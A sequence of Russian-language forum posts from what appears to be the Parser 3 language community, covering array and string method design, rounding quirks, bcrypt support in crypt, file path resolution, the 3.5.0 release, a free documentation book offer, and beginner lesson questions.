Как и опция [i]trim[/i]'а пробельных символов.\
\
На практике добрая половина разбора строки по разделителю — с обрезкой «пробелов» и уникализацией."
"86634","Мне ни разу не требовалось разбить строку на части и убрать дубли. :)\
\
Да и в стандартных библиотеках распространенных языков я такой функии не вижу."
"86635","[quote]По добрую половину ты загнул…[/quote]\
\
Я про свой код.\
\
[quote]Мне ни разу не требовалось разбить строку на части и убрать дубли.[/quote]\
\
Это не значит, что такой необходимости нет.\
\
[quote]Да и в стандартных библиотеках распространенных языков я такой функии не вижу.[/quote]\
\
Ну, мало ли чего у кого нет.\
В Парсере есть [i]$.distinct(true)[/i] при хешировании, почему бы ему не быть при таблировании.\
\
Разбираешь предложение по словам — дубли не нужны.\
Разбираешь список тегов статьи — дубли не нужны.\
Получаешь опции списком через разделитель — дубли не нужны.\
Разбираешь перечисления ID в дампе — дубли не нужны.\
\
Понятно, что провести данные через [i]string → table → hash → table/array/string[/i] несложно.\
Но можно это упростить, а возможно и ускорить."
"86636","Регистр может быть и важен и не важен. Порядок слов сохранять или не принципиально? И получаем комбинаторный взрыв опций. Как уникалить прийдется решать каждый раз в своем коде, потому что сильно зависит от контекста задачи.\
\
Твой кейс крайне редкий. То что подобных функций нет в других языках, хороший статистический показатель, что никакой доброй половины нет. ;)"
"86637","[quote]Регистр может быть и важен и не важен. И получаем комбинаторный взрыв опций. Как уникалить прийдется решать каждый раз в своем коде, потому что сильно зависит от контекста задачи.[/quote]\
\
Поэтому решать задачу можно не только опцией с точным совпадением, но и дополнительным параметром с кодом, как у [i]table.hash[/i], в котором можно сделать нужные преобразования:\
[code]$tokens[^string.split[,;vu;token]{$token[^token.lower[]]^token.trim[]}][/code]\
\
В общем случае дубль — полное совпадение значения, как ключа у хеша.\
\
[quote]Порядок слов сохранять или не принципиально?[/quote]\
\
Важен, конечно.\
С ним ничего не меняется — элементы следуют в порядке появления.\
Побеждает последний, как у hash'а.\
\
[quote]Твой кейс крайне редкий.[/quote]\
\
Я нерепрезентативен. ©\
Но это не значит, что такой необходимости нет.\
\
Вот есть опция получения горизонтальной таблицы.\
Как часто она нужна?\
Несложно сделать транспонирование вертикальной таблицы.\
Но опция есть.\
\
Вот предложена опция возврата [i]split[/i]'ом массива.\
Зачем она?\
Можно ведь в одну строку сделать [i]$a[^array::create[^table.hash[…]]][/i].\
\
И так можно поставить под сомнение любой синтаксический сахар.\
Выкинуть всё, оставить одни циклы, математику да резку строк.\
Ну, чтобы «как в других языках».\
\
Я лишь делюсь наблюдением, что в моих задачах необходимость обрезки пробельных символов и уникализация — частые операции, для которых я давно написал свои методы [i]split[/i] и [i]trim[/i]."
"86638","[quote]Делается просто и на производительности не скажется.[/quote]\
\
К сожалению, при написании кода стало понятно, что без некоторого падения производительности не получится (и при чтении и при записи). :( Поэтому не стал делать.\
\
Для чтения есть ^a.at[last], добавил парный метод ^a.set[first|last][value] для перезаписи существующих элементов и в массив, и в хеш. Из плюсов при вызове метода можно писать выражения ^a.set(2+2)[value].\
\
Еще добавлены ^array.pop[] и парный ^array.push[value] (это тот же append и create под третьим именем :).\
\
Плюс ^array.compact[] для удаления \"дырок\" и ^array.compact[undef] для удаления и \"дырок\" и неопределенных элементов (пустых строк, хешей и т.д.)\
\
Эти дополнения вроде как закрывают все озвученные потребности по массиву. Если надо что-то еще - жду конкретные предложения."
"86639","Костя, спасибо за старания!\
\
[quote]Эти дополнения вроде как закрывают все озвученные потребности по массиву. Если надо что-то еще - жду конкретные предложения.[/quote]\
\
Обсуждали [i]^array::create[$table][/i], он напрашивается."
"86640","Начнем с того, что ^array::create[$table] работает, получится массив из одного элемента, содержащего таблицу. :) Если же хочется ^array::copy[$table], то как писал, считаю уместнее ^таблица.array, поскольку на вид искомое похоже на ^таблица.hash, только без ключа - так же нужны опции $.type[hash/string/table], возможность задать [столбец значений] или {код, формирующий значение}. Если надо - можно сделать."
"86641","[quote]Начнем с того, что ^array::create[$table] работает, получится массив из одного элемента, содержащего таблицу. :) Если же хочется ^array::copy[$table][/quote]\
\
Да, [i]copy[/i], ещё не привык к «обратному» названию, — создание массива из таблицы.\
\
[quote]считаю уместнее ^таблица.array, поскольку на вид искомое похоже на ^таблица.hash, только без ключа - так же нужны опции $.type[hash/string/table], возможность задать [столбец значений] или {код, формирующий значение}.[/quote]\
\
Согласен.\
Но и на уровне конструктора кажется необходимым.\
\
Чтобы можно было сделать\
[code]$array[^array::copy[$table;$options]][/code]\
вместо более длинных\
[code]$array[^array::copy[^table.array[$options]]][/code]\
или\
[code]$array[^array::copy[^table.hash[$options]]][/code]"
"86642","[quote]вместо более длинных [/quote]\
\
Достаточно $array[^table.array[$options]], это же уже новый массив возвращается. В конструктор опции не хочется тащить. Код будет сложнее и возникает вопрос, почему только у массива, почему нельзя ^hash::create[$table]? Да и не похоже это на создание массива, скорее именно преобразование таблицы в массив.\
\
[quote]Согласен.[/quote]\
\
OK, добавлю ^таблица.array."
"86643","[quote]Достаточно $array[^table.array[$options]][/quote]\
\
Да, но «интуитивно» неясно почему вызвать\
[code]$array[^array::copy[$hash]][/code]\
можно, а\
[code]$array[^array::copy[$table]][/code]\
для таблицы, которая суть массив — нельзя, и нужно использовать\
[code]$array[^table.array[]][/code]\
\
Разные «конструкторы» будут неудобны в случае какой-нибудь фабрики, где вместо единого кода для объектов всех типов и опций придётся добавлять проверку типа и ветку конвертации таблицы в массив."
"86644","Делаем trim по строке, где в конце так сложилось оказывается последовательность символов 0d 0d 0a. (логируем $request:body в базу, а потом читаем из базы)\
\
В итоге крайние 0d 0a убираются, а 0d \"остается на трубе\" :(\
И даже два последовательных trim не помогают.\
И если я хочу проверить последний символ на '>' '}' ']' то ничего не выходит, потому что он предпоследний оказывается даже после trim"
"86647","Где пример кода?\
\
По умолчанию, без указания удаляемых символов, [url=\"https://github.com/artlebedev/parser3/blob/0331f3346291498ba16578534b2956ec3d4563f8/src/main/pa_string.C#L269\"]удаляются пробел, табуляция и перевод строки[/url].\
\
Выход — указать конкретные символы:\
[code]$s[^#0D^#0D^#0A]\
$s[^s.trim[^#0D^#0A]]\
^s.length[]\
\
# 0[/code]"
"86648","[quote]В итоге крайние 0d 0a убираются, а 0d \"остается на трубе\" :([/quote]\
\
0D по-идее не должны вообще убираться (по коду ниже так и происходит). Суть в том, что в \"нормальной\" ситуации им в парсере негде взяться - и при загрузке файлов, и при чтении данных форм переводы строк \"нормализуются\" в UNIX формат. Поэтому trim их по умолчанию и не удаляет. Но у trim есть второй параметр, ничего не мешает его задать. :)\
\
[code]$s[abc^#0D^#0A^#0D^#0A]\
^json:string[^s.trim[]]\
^json:string[^s.trim[; ^#0D^#0A]]\
[/code]\
Выведет\
[code]\"abc\\r\\n\\r\"\
\"abc\"[/code]\
\
Но в принципе да, хуже от удаления \\r в парсере по умолчанию не будет, [url=\"https://github.com/artlebedev/parser3/commit/2fbd847b3db7a7f91455854b3402cedd28b9ec74\"]закоммитил[/url] такое изменение."
"86650","Столкнулся со странным поведением:\
\
[code]\
	$d(14999.45 / 5)\
\
	^eval($d)[%.2f]\
\
	^eval(^math:ceiling($d * 100))[%.2f]\
	^eval(^math:ceiling(100 * $d))[%.2f]\
	\
	^eval(^math:ceiling(14999.45 / 5 * 100))[%.2f]\
	^eval(^math:ceiling(100 * 14999.45 / 5))[%.2f]\
[/code]\
\
выдает \
[code]\
2999.89\
\
[color=\"#ff0000\"]299990.00[/color]\
[color=\"#ff0000\"]299990.00[/color]\
\
[color=\"#ff0000\"]299990.00[/color]\
[b]299989.00[/b]\
[/code]\
\
Есть объяснение почему почти все варианты округления прибавили 1?"
"86651","[code]$d(14999.45 / 5)\
^d.format[%.20f][/code]\
\
Выведет 2999.89000000000032741809, поэтому ceiling и округляет вверх до 90. Не совсем понятно, зачем в данном случае вообще используется ceiling, без него результат будет более предсказуемым.\
\
P.S. Из документации: \"Класс double обычно имеет 15 значащих цифр и не гарантирует сохранение цифр в последних разрядах.\""
"86652","както они немного по разному работают :(\
\
[code]        }(^lBODY.message.text.left(1) eq \"/\"\
        &&-f \"cmd^lBODY.message.text.mid(1;10).p\"\
        ){\
          ^use[cmd^lBODY.message.text.mid(1;10).p]\
[/code]\
НЕ работает\
\
\
а вот так:\
[code]        }(^lBODY.message.text.left(1) eq \"/\"\
        ){\
          ^try{\
           ^use[cmd^lBODY.message.text.mid(1;10).p]\
           ....\
          }{\
           $exception.handled(true)\
           ...\
          } \
[/code] РАБОТАЕТ.\
\
но както хочется через -f а не через exception\
\
\
путь от корня - допустим - неизвестен\
cmdCommand.p - находятся в одном каталоге с єтим скриптом. где находится єтот скрипт - неизвестно. на сайт он приезжает через git \"в любое\" место"
"86653","https://www.parser.ru/docs/lang/?app1.htm\
\"Файл по относительному пути ищется от каталога, в котором находится запрошенный документ.\"\
\
https://www.parser.ru/docs/lang/?opuse.htm\
\"Parser будет искать модуль сначала относительно файла, из которого происходит подключение модуля\"\
\
Поэтому если код с проверкой -f не в каталоге, где запрошенный документ, надо использовать абсолютный путь, который можно например через ^reflection:filename[класс или объект или метод] или параметром у @auto:\
\
\"@auto[filespec]\
В этом параметре Parser передаст полное имя файла, содержащего метод.\""
"86654","Просто хотелось нативного метода, уж больно часто он используется."
"86655","только -f его не видит ...\
\
или \"запрошенный документ\" - єто вот тот пресловутый index.html с корня ?"
"86656","Запрошенный документ - это файл, команду на обработку которого веб-сервер передал парсеру. Его полный дисковый путь находится в переменной $env:PATH_TRANSLATED, а путь от корня веб-сервера - $env:PATH_INFO."
"86657","использовал тест отсюда:\
\
https://www.parser.ru/forum/?id=86482\
\
[code]  bcrypt:        crypt on this platform does not support '$2b$' salt prefix\
  php_a:         crypt on this platform does not support '$2a$' salt prefix\
  php_x:         crypt on this platform does not support '$2x$' salt prefix\
  php_y:         crypt on this platform does not support '$2y$' salt prefix\
[/code]\
\
проблема в том, что перейти на другое хеширование - нет возможности -- втручаюсь в чужой древний проект ктороьій на Yii, а там прямое сравнение: \
\
/vendor/yiisoft/yii2/base/Security.php\
[code]        if (!preg_match('/^\\$2[axy]\\$(\\d\\d)\\$[\\.\\/0-9A-Za-z]{22}/', $hash, $matches)\
            || $matches[1] < 4\
            || $matches[1] > 30\
        ) {\
            throw new InvalidArgumentException('Hash is invalid.');\
        }\
[/code]\
\
а задача: поменять пользователю пароль :("
"86658","ну, тоесть как дорберусь буду колдовать в сторону \
\
[code]@auto[myfilespec]\
\
$mypath[^file:dirname[$myfilespec]]\
\
\
\
@func[]\
\
...\
&&-f \"${mypath}/cmd^lBODY.message.text.mid(1;10).p\"\
...\
[/code]"
"86659","[quote]^math:crypt[qwerty;^$2y^$10^$8drcVcufOVU6QiP6KFExUOGHTb5cjSf17ruZMun81Emc1fufviaQG][/quote]\
\
Оно просто просто хочет $salt в 53 символа, о чем написано например в man 5 crypt\
\\$2[abxy]\\$[0-9]{2}\\$[./A-Za-z0-9]{53}"
"86660","[quote]p.s. Моко, может быть имеет смысл обработать errno в math:crypt более корректно?[/quote]\
\
Было бы чего обрабатывать. :( Не получилось увидеть что-то кроме EINVAL \"Invalid argument\"."
"86661","[code] $salt[^gen_salt(53)]\
  test53:        ^unsafe{^math:crypt[$password;^$2y^$10^$$salt]}\
[/code]\
\
[quote] crypt on this platform does not support '$2y$' salt prefix[/quote]"
"86662","Под Windows есть только MD5 (реализация в самом парсере)."
"86663","[code]ak666@sGl:~$ uname -a\
Linux sGalleon 3.16.0-9-amd64 #1 SMP Debian 3.16.68-1 (2019-05-22) x86_64 GNU/Linux\
ak666@sGl:~$\
ak666@sGl:~$\
ak666@sGl:~$ cat </etc/os-release\
PRETTY_NAME=\"Debian GNU/Linux 8 (jessie)\"\
NAME=\"Debian GNU/Linux\"\
VERSION_ID=\"8\"\
VERSION=\"8 (jessie)\"\
ID=debian\
HOME_URL=\"http://www.debian.org/\"\
SUPPORT_URL=\"http://www.debian.org/support\"\
BUG_REPORT_URL=\"https://bugs.debian.org/\"\
ak666@sGl:~$\
ak666@sGl:~$  bcrypt -orc test.txt\
Encryption support disabled. See http://bugs.debian.org/700758\
[/code]\
\
но сама php и хешует и верификает ...\
\
[code]ak666@sGl:~$ php -v\
PHP 5.6.40-0+deb8u12 (cli) (built: Jun 28 2020 09:37:30)\
Copyright (c) 1997-2016 The PHP Group\
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies\
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies\
ak666@sGl:~$\
ak666@sGl:~$\
ak666@sGl:~$ php -m\
[PHP Modules]\
bcmath\
bz2\
calendar\
Core\
ctype\
curl\
date\
dba\
dom\
ereg\
exif\
fileinfo\
filter\
ftp\
gettext\
hash\
iconv\
json\
libxml\
mbstring\
mcrypt\
mhash\
mysql\
mysqli\
openssl\
pcntl\
pcre\
PDO\
pdo_mysql\
Phar\
posix\
readline\
Reflection\
session\
shmop\
SimpleXML\
soap\
sockets\
SPL\
standard\
sysvmsg\
sysvsem\
sysvshm\
tokenizer\
wddx\
xml\
xmlreader\
xmlwriter\
Zend OPcache\
zip\
zlib\
\
[Zend Modules]\
Zend OPcache\
\
ak666@sGl:~$\
[/code]"
"86664","[code]<?php\
\
$passwordHashCost = 13;\
\
$password = \"passwd\";\
echo \"Password: \";\
$password = trim(fgets(STDIN),\" \\n\\r\\t\\v\\x00\");\
\
$cost = 13;\
\
function generateSalt($cost = 13)\
{\
  $cost = (int) $cost;\
  if ($cost < 4 || $cost > 31) {\
    echo 'Cost must be between 4 and 31.';\
    trow;\
  }\
  $rand = \"123456789a123456789b\"; // 20-byte random string\
  $salt = sprintf(\"$2y$%02d$\", $cost); // Blowfish (bcrypt) prefix\
  $salt .= str_replace('+', '.', substr(base64_encode($rand), 0, 22));\
  return $salt;\
}\
\
$salt = generateSalt($cost);\
$hash = crypt($password, $salt);\
\
echo $hash;\
echo \" \";\
echo $password;\
\
echo \" \";\
if (password_verify($password, $hash)) {\
    echo \"pass\";\
} else {\
    echo \"fail\";\
}\
?>\
[/code]\
\
[quote]\
ak666@sGl:~$  php passwd.php\
Password: TESTtestTEST\
$2y$13$MTIzNDU2Nzg5YTEyMzQ1NeQ2dB3UqiSsapPRgCNrWmwfP62CzJwDW TESTtestTEST pass\
ak666@sGl:~$\
[/quote]"
"86665","У Debian 8 EOL был в 2020. У нас Debian 10 считай не осталось, а тут Debian 8... В PHP вероятно встроенная реализация, потому и работает. Так что или через exec использовать php или наконец обновить OS. :)"
"86667","[code]\
php-5.6.40/ext/standard/crypt.c:196\
                } else if (\
                                salt[0] == '$' &&\
                                salt[1] == '2' &&\
                                salt[3] == '$' &&\
                                salt[4] >= '0' && salt[4] <= '3' &&\
                                salt[5] >= '0' && salt[5] <= '9' &&\
                                salt[6] == '$') {\
                        char output[PHP_MAX_SALT_LEN + 1];\
\
                        memset(output, 0, PHP_MAX_SALT_LEN + 1);\
\
                        crypt_res = php_crypt_blowfish_rn(password, salt, output, sizeof(output));\
                        if (!crypt_res) {\
                                memset(output, 0, PHP_MAX_SALT_LEN + 1);\
                                return FAILURE;\
                        } else {\
                                *result = estrdup(output);\
                                memset(output, 0, PHP_MAX_SALT_LEN + 1);\
                                return SUCCESS;\
                        }\
                } else {\
[/code]\
\
А вот в Линуксах он доступен только в некоторых версиях с нестандартной glibc. :)"
"86668","[code]\
ERRORS\
     EINVAL             setting is invalid, or requests a hashing method that is not supported.\
\
     ERANGE             phrase is too long (more than CRYPT_MAX_PASSPHRASE_SIZE characters; some hashing methods may have lower limits).\
                        crypt_rn only: size is too small for the hashing method requested by setting.\
\
     ENOMEM             Failed to allocate internal scratch memory.\
                        crypt_ra only: failed to allocate memory for data.\
\
     ENOSYS or EOPNOTSUPP\
                        Hashing passphrases is not supported at all on this installation, or the hashing method requested by setting is not supported.  These error codes are not used by this version of libcrypt, but may be encountered on other systems.\
[/code]\
\
По сути имеет смысл только ERANGE выделить, но толку мало. Всё равно приёдется man 5 crypt внимательн очитать для каждого вида хеширования. Так что можно ничего не менять. :)"
"86669","https://passlib.readthedocs.io/en/stable/lib/passlib.hash.bcrypt.html\
\
Проверил на машине, где нет blowfish в crypt\
[code]\
Python 3.10.12 (main, Sep 11 2024, 15:47:36) [GCC 11.4.0] on linux\
Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\
>>> from passlib.hash import bcrypt\
>>> p = 'TESTtestTEST'\
>>> h = bcrypt.using(rounds=13).hash(p)\
>>> p, h\
('TESTtestTEST', '$2b$13$EdIjBlTdfXxtoT/eW.K8FeC0zfSaTZvosb4iaaAm5Fh82qScwcpne')\
>>> bcrypt.verify(p, h)\
True\
>>> bcrypt.verify(p, '$2y$13$MTIzNDU2Nzg5YTEyMzQ1NeQ2dB3UqiSsapPRgCNrWmwfP62CzJwDW')\
True\
>>> h2 = bcrypt.using(rounds=13, ident='2y').hash(p)\
>>> p, h2\
('TESTtestTEST', '$2y$13$w4P1lOXJgWKy0TpxwxXjxOYyP04U5upRztmgJw5LRyKRXdSUAmGHu')\
>>> bcrypt.verify(p, h2)\
True\
[/code]\
\
passlib хорошо подходит, когда надо для старых систем сделать хеши — он поддерживает кучу легаси-алгоритмов хеширования"
"86672","тоже столкнулся с таким, пришлось через PHP делать проверку"
"86673","Доступно в [url=\"/download/nightly/\"]ночных сборках[/url]."
"86674","3.4.7b (compiled on x86_64-unknown-linux-gnu)\
все работает\
\
3.4.7b (compiled on amd64-pc-win64)\
в тестовом файле https://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/141.html?revision=1.12&view=markup#l46 ругается на 46 строку:\
\
digest\
is 'file', it has no string representation"
"86675","Для виндоус они октябрьские. Регулярно обновляются почти все юниксовые сборки. Наверняка Moko скоро обновит и сборки под винду. :)"
"86677","Выпущен релиз кандидат версии 3.5.0 (не 3.4.7, потому что расширен синтаксис).\
Скачать можно по ссылке https://www.parser.ru/download/beta/.\
Приветствуются багрепорты и активное тестирование.\
\
Перечень изменений в [url=\"/news/\"]новостях[/url].\
Документация будет обновлена к релизу, пока есть шпаргалка по классу array из operators.txt:\
\
[code]array\
    в выражении\
        логическое значение равно \"не пуст?\"\
        числовое значение равно count[]\
    $массив.индекс, $массив.(выражение)\
        возврат значения по заданному индексу\
    $массив.индекс[значение], $массив.(выражение)[значение]\
        присваивание значения по индексу\
    $массив[значение;значение;...]\
        создание массива с заданными значениями\
    ^array::create[]\
    ^array::create[значение;значение;...]\
        создание массива с заданными значениями или пустого массива\
    ^array::copy[копируемый массив или хеш с цифровыми ключами]\
        копирование массива или хеша с цифровыми ключами\
    ^массив.add[добавляемый массив или хеш с цифровыми ключами]\
        добавление элементов из другого массива или хеша с перезаписью значений у совпадающих индексов\
    ^массив.join[добавляемый массив или произвольный хеш]\
        добавление элементов другого массива или хеша в конец массива\
    ^массив.append[значение;значение;...]\
        добавление элементов в конец массива\
    ^массив.insert(индекс)[значение;значение;...]\
        вставка элементов в указанную позицию массива\
    ^массив.left(n)\
        возвращает новый массив из n первых элементов массива\
    ^массив.right(n)\
        возвращает новый массив из n последних элементов массива\
    ^массив.mid(m;n)\
        возвращает новый массив, содержащий n инициализированных элементов массива, начиная с позиции m\
    ^массив.delete(index)\
        удаление элемента массива с оставлением пустого места\
    ^массив.remove(index)\
        удаление элемента со сдвигом последующих элементов на его место\
    ^массив.push[значение]\
        добавление элемента в конец массив\
    ^массив.pop[]\
        возвращает последний элемент и удаляет его из массива\
    ^массив.contain(индекс)\
        существует ли в массиве элемент по переданому индексу (bool)\
    ^array::sql{запрос}[[ $.sparse(false) $.distinct(false) $.limit(2) $.offset(4) $.type[hash|string|table]]]\
        создание массива на основе выборки из базы данных\
        $.sparse(false), по умолчанию - создать обычный массив. Значения строк выборки последовательно добавляются в массив\
        $.sparse(true) - создать разреженный массив. Первая колонка данных должна содержать индексы,\
        по которым будут размещены значения (аналогично ^hash::sql{})\
        получается array of hash (ключи=названия остальных колонкок ответа) или\
        string=значение каждого элемента - строка, при этом надо указать ровно два столбца или\
        table=значение каждого элемента - таблица\
    ^массив.keys[[название колонки с ключами]]\
        таблица из одного столбца key или переданного названия с индексами инициализированных элементов массива\
    ^массив.count[]\
        количество инициализированных элементов массива\
    ^массив.count[all]\
        общее количество элементов массива, включая неинициализированные\
    ^массив.foreach[index;value]{тело}[[разделитель]|{разделитель который выполняется перед непустым очередным не первым телом}]\
        перебирает все инициализированные элементы массива\
    ^массив.for[index;value]{тело}[[разделитель]|{разделитель который выполняется перед непустым очередным не первым телом}]\
        перебирает все элементы массива\
    ^массив.at[first|last][[key|value|hash]]\
    ^массив.at([-]число)[[key|value|hash]]\
        доступ к элементу массива по порядковому номеру\
    ^массив.set[first|last][значение]\
    ^массив.set([-]число)[значение]\
        установка значения элемента массива по порядковому номеру\
    ^массив.compact[]\
        удаление неинициализированных элементов массива\
    ^массив.compact[undef]\
        удаление неинициализированных и пустых элементов массива\
    ^массив.sort[key;value]{{ключеделатель строка}|(ключеделатель число)}[[desc|asc]] default=asc\
        сортировка массива\
    $обратный_массив[^массив.reverse[]]\
        возвращает новый массив из элементов исходного в обратном порядке\
    $отобранное[^массив.select[key;value](выражение)[ $.limit(N) $.reverse(bool) ]]\
        отбор элементов массива, для которых условие истинно\
[/code]"
"86681","https://github.com/artlebedev/parser3/commit/fcc6095112b6f5c53cee709a08135b5f4b9fc5f6"
"86682","В Новый год — с новой версией Parser 3!\
[url=\"/download/\"]Выпущен[/url] релиз версии 3.5.0, обновлена [url=\"/docs/\"]документация[/url]. Перечень изменений в [url=\"/news/\"]новостях[/url]."
"86685","https://www.parser.ru/f/1/download/parser350/parser3_5_0_debian12x64_cgi_xml.tar.gz\
https://www.parser.ru/f/1/download/parser350/parser3_5_0_debian12x64_grpunlim_cgi_xml.tar.gz"
"86686","Полет нормальный."
"86687","Стесняюсь спросить - для каких применений понадобился именно четырехквадрантный арктангенс?\
Почему не обратный гиперболический косеканс?"
"86688","atan2 используется например для перевода координат из декартовой системы в полярную."
"86690","НЕ очень понятно какова конструкция в разделе \"Операторы, определяемые пользователем\"\
\
[code]@имя[параметр1;.именованный_параметр1;.именованный_параметр2[;...]]   [3.5.0]\
тело[/code]\
\
толи скобки лишние/недостающие, толи я не понял смысла\
\
Было бы отлично добавить пример для наглядности"
"86691","Да, добавим пример. Как-то так:\
\
[code]^show[something; $.x(100) $.y(200) ]\
\
@show[text;.x;.y]\
<div style=\"position: absolute; left: ${x}px; top: ${y}px;\">\
    $text\
</div>[/code]\
\
Раньше эта же задача решалась так:\
\
[code]@show-old[text;options]\
<div style=\"position: absolute; left: ${options.x}px; top: ${options.y}px;\">\
    $text\
</div>\
[/code]\
\
В новом варианте все возможные опции видны в декларации метода (а не размазаны по коду метода, который может быть и длинным), плюс обращение к ним короче."
"86692","Спасибо за пример.\
\
Я бы еще предложил добавить при объявлении метода задать значения по-умолчанию, что-нибудь в таком виде:\
\
[code]@show[text;.x(10);.y[value]][/code]\
\
или может другой формат [code]@show[text;.x;.y][][ $.x(10) $.y[value] ][/code]"
"86693","Здравствуйте.\
\
Есть ли список изменений, которые планируется / хотелось бы реализовать в новых версиях?"
"86694","С версии 3.3.0 parser поддерживает multi_statements для MySql. \
Но возможности сделать получение нескольких table нет.\
\
Очень хотелось бы иметь возможность получать такой результат, т.к. Sphinx Search поддерживает такую возможность и сильно быстрее работает при получении Фасетов.\
\
Или есть варианты?"
"86695","Вот так получится массив однострочных таблиц:\
\
[code]^array::sql{select * from table1^; select * from table2}[ $.type[table] ]\
[/code]\
\
Вот так результаты каждого запроса будут отдельной таблицей - либо в массиве, либо в хеше:\
\
[code] ^hash::sql{select 0,* from table1^; select 1,* from table2}[ $.type[table] $.distinct(true) ]\
^array::sql{select 0,* from table1^; select 1,* from table2}[ $.type[table] $.distinct(true) $.sparse(true) ]\
[/code]"
"86696","... в Сфинксе работают не быстрее, чем несколько запросов на поиск и фасеты. Синтаксис с facet — это синтаксический сахар. Но может быть удобнее для некоторых задач. И в 3.5.0 он работает и получает несколько таблиц."
"86699","Но разделение по версиям там достаточно условное, особенно сейчас, сразу после релиза."
"86700","https://store.artlebedev.ru/books/scripting-language-parser-3/"
"86701","Да, документация издана в виде книги. У участников форума будет возможность получить ее бесплатно."
"86704","Как уже обсуждалось ранее, вышла книга «[url=\"https://www.artlebedev.ru/izdal/parser/\"]Язык скриптования сайтов Parser 3[/url]». Это бумажная версия [url=\"/docs/lang/\"]HTML документации[/url], которая в процессе подготовки к печати претерпела значительную редактуру — внесено несколько тысяч правок, актуализированы примеры и улучшена структура материала.\
\
Книга готовилась к печати осенью, в ней есть раздел про массивы, однако остальные изменения версии 3.5.0 в ней не отражены.\
\
В знак признательности за поддержку развития Parser 3 все участники форума, оставившие ранее хотя бы одно сообщение, могут бесплатно получить экземпляр книги (доставка, если она платная, оплачивается отдельно).\
\
Как получить книгу? Всё просто: авторизуйтесь на форуме, потом перейдите по [url=\"/_/free-parser3-book/\"]ссылке[/url]. В случае успеха вас перенаправит на страницу книги в интернет-магазине Студии Артемия Лебедева. Авторизуйтесь в нем используя ту же электронную почту, что и на форуме. Добавьте книгу в корзину — к ней автоматически применится скидка.\
\
Если возникнут вопросы или проблемы, [url=\"mailto:mailbox@parser.ru?Subject=Parser3 book\"]пишите[/url].\
Приятного чтения!"
"86705","И в первую очередь конечно за саму книгу. Хотя за акцию тоже спасибо. :)"
"86706","Интересно подержать в руках что-то парсерное."
"86707","Погрузиться в тестирование пока не получается…\
\
Спасибо релиз и развитие языка!"
"86709","Книги в наличии во всех Магазинусах Студии! :-)"
"86710","(C) старые анекдоты и мемы"
"86711","Приятная акция! Респект Студии!\
\
\
\
ЗЫ. Это я хорошо зашёл ))"
"86712","Как время-то пролетело стремительно. Начинал на БЭСМ-6 ещё )"
"86713","Сегодня забрал :)\
Забавно видеть что-то про Парсер в физическом воплощении.\
Такими темпами и до Parser Meetup не далеко. Ну или по технологиям студийным, если шире брать. Чем Студия хуже Яндекса с его «Субботниками»?"
"86718","Добрый день!\
Начал изучение Parser, читаю учебник. Урок №1\
Создаю главную страницу вывожу на нее меню навигации ^navigation[]. Все работает, все хорошо.\
Добавляю каталог, создаю в нем страницу, в которой прописываю ^navigation[], результат - The requested URL was not found on this server.\
Закидываю в каталог sections.cfg и auto.p - все начинает работать. На сколько я понял информацию из 1 и 2 уроков, страница сначала опрашивает auto.p из корневого каталога, а затем в своем каталоге. Или не так понял?\
Заранее спасибо за ответ!"
"86720","[quote]Добавляю каталог, создаю в нем страницу, в которой прописываю ^navigation[], результат - The requested URL was not found on this server.[/quote]\
\
При обращении к странице, в коде которой есть вызов несуществующего метода, будет ошибка парсера, а не веб-сервера. А именно [b]navigation[/b] / undefined method.\
\
[quote]Закидываю в каталог sections.cfg и auto.p - все начинает работать.[/quote]\
\
Поэтому добавление auto.p не должно изменить ошибку веб-сервера. Посмотрите внимательно на лог веб-сервера, к какому адресу вы обращались до и после загрузки auto.p. Сомнительно, что это один и тот же адрес. Что касается sections.cfg, в уроке путь к нему указан как /sections.cfg, то есть он грузится из корня сайта, в каталог его копировать вообще нет никакого смысла.\
\
[quote]Насколько я понял информацию из 1 и 2 уроков, страница сначала опрашивает auto.p из корневого каталога, а затем в своем каталоге. Или не так понял?[/quote]\
\
Вы поняли правильно."
"86721","Спасибо, благодаря вашим подсказкам разобрался.\
Суть проблемы в записи, которые в примерах уроков:\
У меня в auto.p была следующая строчка, которую я с урока скопировал:\
$sections[^table::load[sections.cfg]]\
В ней не хватает \"/\" в последних скобках перед названием файла\
А auto.p подключается нормально оказывается, просто с такой записью прочитывается sections.cfg, который лежит в одной директории с html. Поэтому ошибка возникала именно из-за отсутствия файла sections.cfg в директории с html."
"86722","В уроке читаю:\
\
[i]Теперь создадим раздел администрирования, который даст возможность заполнить созданную базу данных новостями. Для этого в  корневом каталоге сайта создаем каталог admin, а в нем - index.html, в который пишем следующее:\
\
@greeting[]\
Администрирование новостей\
\
@content[]\
<h1>Добавление новостей</h1>[/i]\
\
Когда пытаюсь повторить и делаю запись в файле html @greeting[] у меня ложится страница.\
Что я не так делаю или у меня есть проблемы с сервером и обработка языка не корректная?\
При этом когда задаю методы в файле auto.p и вызываю их на странице ^greeting[] - все работает."
"86723","Смотреть либо в логе парсера, либо влючить отображение исключений на странице в cgi/auto.p\
\
Вот здесь:\
[code]@is_developer[]\
#change mask to your ip address\
$result(def $env:REMOTE_ADDR && ^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1^$])\
[/code]\
Можно временно сделать например так:\
[code]$result(1 || def $env:REMOTE_ADDR && ^env:REMOTE_ADDR.match[^^127\\.0\\.0\\.1^$])\
[/code]"
"86724","syntax error, unexpected '@', expecting $end"
"86725","Так бывает, если до первого метода есть непробельные символы. В файле или не должно быть методов (считается, что есть один метод main) или весь код должен быть внутри методов. Вот так нельзя:\
\
[code]test\
\
@method[]\
code\
[/code]\
\
Правильно вот так:\
\
[code]\
@main[]\
test\
\
@method[]\
code\
[/code]"
"86726","Действительно, по убирал весь мусор и задание методов стало работать. В том числе и @main[] подключился, до этого не работал."
"86727","А никто не задумывался из разработчиков [url=\"https://github.com/github-linguist/linguist\"]узаконить[/url] язык на GitHub?\
Уже 3.5 версия вышла, пора бы, а то грустно :(\
https://i.postimg.cc/Px8Zvz1z/2025-02-24-00-14-02.png"
"86728","Всем здравствуйте! Долго не могу разобраться, как сделать такую простую вещь, как счетчик строк в таблице. Таблица такая:\
\
^win.menu{\
		<tr>\
			<td>[i][b]^for[$i][/b][/i]</td>\
			<td>$win.division_n</td>\
			<td>$win.onegroup_n</td>\
			<td>$win.subgroup</td>\
			<td>$win.mark</td>\
                </tr>\
}\
\
В первом столбце необходимо сделать счетчик строк (выделен жирным и курсивом)\
\
